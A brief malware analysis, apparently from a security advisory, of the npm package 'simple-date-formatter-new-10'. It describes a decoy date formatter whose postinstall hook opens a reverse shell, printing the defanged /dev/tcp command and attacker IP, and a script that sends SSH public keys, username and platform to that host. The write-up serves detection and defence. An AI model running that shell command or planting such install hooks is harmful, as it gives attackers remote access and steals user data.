simple-date-formatter-new-10@1.0.0

Analysis

The postinstall hook opens an interactive reverse shell to 124[.]221[.]154[.]135:4444 (sh -i >& /dev/tcp/124[.]221[.]154[.]135/4444 0>&1). A bundled postinstall.js additionally reads the user's ~/.ssh/*.pub key files, collects the username and platform, and POSTs this data as JSON to hxxps://124[.]221[.]154[.]135/post. The package's main index.js is a trivial date-formatting function that serves as a decoy.